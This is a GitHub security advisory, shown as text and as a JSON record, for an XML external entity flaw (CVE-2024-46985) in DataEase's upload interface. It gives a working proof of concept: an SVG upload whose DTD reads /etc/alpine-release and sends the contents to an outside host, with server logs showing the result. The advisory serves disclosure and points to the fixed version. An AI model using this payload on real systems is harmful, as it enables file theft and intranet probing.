GHSA-4M9P-7XG6-F4MM
Vulnerability from github – Published: 2024-09-23 20:27 – Updated: 2024-09-23 20:27Impact
There is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.
- send request:
POST /de2api/staticResource/upload/1 HTTP/1.1
Host: dataease.ubuntu20.vm
Content-Length: 348
Accept: application/json, text/plain, */*
out_auth_platform: default
X-DE-TOKEN: jwt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn
------WebKitFormBoundary6OZBNygiUCAZEbMn
Content-Disposition: form-data; name="file"; filename="1.svg"
Content-Type: a
<?xml version='1.0'?>
<!DOCTYPE xxe [
<!ENTITY % EvilDTD SYSTEM 'http://10.168.174.1:8000/1.dtd'>
%EvilDTD;
%LoadOOBEnt;
%OOB;
]>
------WebKitFormBoundary6OZBNygiUCAZEbMn--
// 1.dtd的内容
<!ENTITY % resource SYSTEM "file:///etc/alpine-release">
<!ENTITY % LoadOOBEnt "<!ENTITY % OOB SYSTEM 'http://10.168.174.1:8000/?content=%resource;'>">
- After sending the request, the content of the file /etc/alpine-release is successfully read
::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /1.dtd HTTP/1.1" 200 -
::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] "GET /?content=3.20.0 HTTP/1.1" 200 -
Affected versions: <= 2.10.0
Patches
The vulnerability has been fixed in v2.10.1.
Workarounds
It is recommended to upgrade the version to v2.10.1.
References
If you have any questions or comments about this advisory:
Open an issue in https://github.com/dataease/dataease Email us at wei@fit2cloud.com
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.10.0"
},
"package": {
"ecosystem": "Maven",
"name": "io.dataease:common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-46985"
],
"database_specific": {
"cwe_ids": [
"CWE-611"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-23T20:27:22Z",
"nvd_published_at": "2024-09-23T16:15:06Z",
"severity": "HIGH"
},
"details": "### Impact\nThere is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.\n\n1. send request:\n```\nPOST /de2api/staticResource/upload/1 HTTP/1.1\nHost: dataease.ubuntu20.vm\nContent-Length: 348\nAccept: application/json, text/plain, */*\nout_auth_platform: default\nX-DE-TOKEN: jwt\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn\n\n------WebKitFormBoundary6OZBNygiUCAZEbMn\nContent-Disposition: form-data; name=\"file\"; filename=\"1.svg\"\nContent-Type: a\n\n\u003c?xml version=\u00271.0\u0027?\u003e\n \u003c!DOCTYPE xxe [\n \u003c!ENTITY % EvilDTD SYSTEM \u0027http://10.168.174.1:8000/1.dtd\u0027\u003e\n %EvilDTD;\n %LoadOOBEnt;\n %OOB;\n ]\u003e\n------WebKitFormBoundary6OZBNygiUCAZEbMn--\n\n// 1.dtd\u7684\u5185\u5bb9\n\u003c!ENTITY % resource SYSTEM \"file:///etc/alpine-release\"\u003e\n \u003c!ENTITY % LoadOOBEnt \"\u003c!ENTITY \u0026#x25; OOB SYSTEM \u0027http://10.168.174.1:8000/?content=%resource;\u0027\u003e\"\u003e\n```\n\n2. After sending the request, the content of the file /etc/alpine-release is successfully read\n```\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /1.dtd HTTP/1.1\" 200 -\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /?content=3.20.0 HTTP/1.1\" 200 -\n```\n\nAffected versions: \u003c= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n",
"id": "GHSA-4m9p-7xg6-f4mm",
"modified": "2024-09-23T20:27:22Z",
"published": "2024-09-23T20:27:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dataease/dataease/security/advisories/GHSA-4m9p-7xg6-f4mm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46985"
},
{
"type": "PACKAGE",
"url": "https://github.com/dataease/dataease"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DataEase has an XML External Entity Reference vulnerability"
}
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